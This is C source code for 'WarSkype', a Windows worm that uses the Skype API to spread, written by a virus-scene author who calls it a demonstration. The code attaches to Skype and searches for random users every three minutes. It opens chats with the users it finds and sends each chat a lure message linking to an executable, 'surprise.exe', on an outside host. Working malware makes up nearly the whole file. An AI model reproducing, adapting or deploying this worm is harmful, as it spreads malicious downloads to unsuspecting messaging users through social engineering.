/*********************************************************************************************** * I saw many IM worms around but nothing using skype. Skype is a nice IM that let you to * * chat or to do VoIP call, so it is possible to use this program like a spreading vector. * * I tried to do direct file transfer but it didn't work so well, so I decided to send url * * to worm to the found users. * * This is only a demonstration, this is a direct action worm, it will work only if skype * * is installed. * * Greetz to: SkyOut, Nibble, izee, RadiatioN, berniee, sk0r, psyco_rabbit ... and everybody * * on #vx-lab and #eof-project * * bye bye ... by WarGame * ***********************************************************************************************/ #include <windows.h> /* Global handlers */ static UINT SkypeAttach; static UINT SkypeDiscover; static HWND Answer = NULL; static HWND SkypeWnd = NULL; static char rnd_nick[2]; /* generate random nicks to search */ void GetRandNick(void) { char possible_searches[] = "qwertyuiopasdfghjklzxcvbnm"; srand(GetTickCount()); rnd_nick[0] = possible_searches[rand()%26]; rnd_nick[1] = 0; } DWORD WINAPI S3arch(LPVOID Data) { char msg[128]; COPYDATASTRUCT cds; while(1) { GetRandNick(); sprintf(msg,"SEARCH USERS %s",rnd_nick); cds.dwData= 0; cds.lpData= msg; cds.cbData= strlen(msg)+1; if(!SendMessage(SkypeWnd, WM_COPYDATA, Answer , (LPARAM)&cds)) { /* skype closed */ ExitProcess(0); } Sleep((1000*60)*3); /* every 3 minutes */ } } LRESULT CALLBACK SkypeProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { PCOPYDATASTRUCT SkypeData = NULL; DWORD ThreadID; char *found_users = NULL,*chat_cmd = NULL,*chat_id = NULL,msg_cmd[256]; COPYDATASTRUCT cds; if(uMsg == SkypeAttach) { if(lParam == 0) { SkypeWnd = (HWND)wParam; CreateThread(NULL,0,&S3arch,0,0,&ThreadID); } } if(uMsg == WM_COPYDATA) { if(wParam == SkypeWnd) { SkypeData=(PCOPYDATASTRUCT)lParam; if(SkypeData != NULL) { if(strstr(SkypeData->lpData,"CHAT ")) { strtok(SkypeData->lpData," "); chat_id = strtok(NULL," "); /* this will send the url to everybody :) */ sprintf(msg_cmd,"CHATMESSAGE %s Check this! http://marx2.altervista.org/surprise.exe",chat_id); cds.dwData= 0; cds.lpData= msg_cmd; cds.cbData= strlen(msg_cmd)+1; SendMessage(SkypeWnd, WM_COPYDATA, Answer , (LPARAM)&cds); } if(strstr(SkypeData->lpData,"USERS ")) { found_users = (char *)GlobalAlloc(GMEM_ZEROINIT|GMEM_FIXED,3096); if(found_users == NULL) { ExitProcess(0); } chat_cmd = (char *)GlobalAlloc(GMEM_ZEROINIT|GMEM_FIXED,3096+128); if(chat_cmd == NULL) { ExitProcess(0); } strcpy(found_users,(char *)SkypeData->lpData); strcpy(found_users,found_users+6); sprintf(chat_cmd,"CHAT CREATE %s",found_users); /* contact them :) */ cds.dwData= 0; cds.lpData= chat_cmd; cds.cbData= strlen(chat_cmd)+1; SendMessage(SkypeWnd, WM_COPYDATA, Answer , (LPARAM)&cds); GlobalFree(found_users); GlobalFree(chat_cmd); } } } } DefWindowProc( hWnd, uMsg , wParam, lParam); return 1; /* != 0 */ } void MakeWindow(void) { WNDCLASS wndcls; memset(&wndcls,0,sizeof(WNDCLASS)); wndcls.lpszClassName = "WarSkype by [WarGame,#eof]"; wndcls.lpfnWndProc = SkypeProc; if(RegisterClass(&wndcls) == 0) { ExitProcess(0); } Answer = CreateWindowEx(0, wndcls.lpszClassName, "Skype sucks!", 0, -1, -1, 0, 0, (HWND)NULL, (HMENU)NULL, (HINSTANCE)NULL, NULL); if(Answer == NULL) { ExitProcess(0); } } void RunSkype(void) { HKEY hKey; char skype_path[MAX_PATH]; DWORD len = MAX_PATH; STARTUPINFO inf_prog; PROCESS_INFORMATION info_pr; int user_ret; #define ERROR MessageBox(NULL,"I could not find Skype !","Error!",MB_OK|MB_ICONERROR); \ ExitProcess(0); /* path of skype in registry */ if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Skype\\Phone",0, KEY_QUERY_VALUE,&hKey) != ERROR_SUCCESS) { ERROR } if(RegQueryValueEx(hKey,"SkypePath",0,NULL,skype_path, &len) != ERROR_SUCCESS) { ERROR } RegCloseKey(hKey); memset(&inf_prog,0,sizeof(STARTUPINFO)); memset(&info_pr,0,sizeof(PROCESS_INFORMATION)); inf_prog.cb = sizeof(STARTUPINFO); inf_prog.dwFlags = STARTF_USESHOWWINDOW; inf_prog.wShowWindow = SW_SHOW; if(CreateProcess(NULL,skype_path,NULL,NULL,FALSE,CREATE_NEW_CONSOLE,NULL, NULL,&inf_prog,&info_pr)) { MessageBox(NULL,"Allow this program in skype!","Warning!" ,MB_OK|MB_ICONWARNING); } else { ERROR } } int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { MSG oMessage; SkypeAttach = RegisterWindowMessage("SkypeControlAPIAttach"); SkypeDiscover = RegisterWindowMessage("SkypeControlAPIDiscover"); RunSkype(); /* (try to) run skype */ if(SkypeAttach != 0 && SkypeDiscover != 0) { MakeWindow(); /* Create window */ SendMessage(HWND_BROADCAST, SkypeDiscover, Answer, 0); while(GetMessage( &oMessage, 0, 0, 0)!=FALSE) { TranslateMessage(&oMessage); DispatchMessage(&oMessage); } } }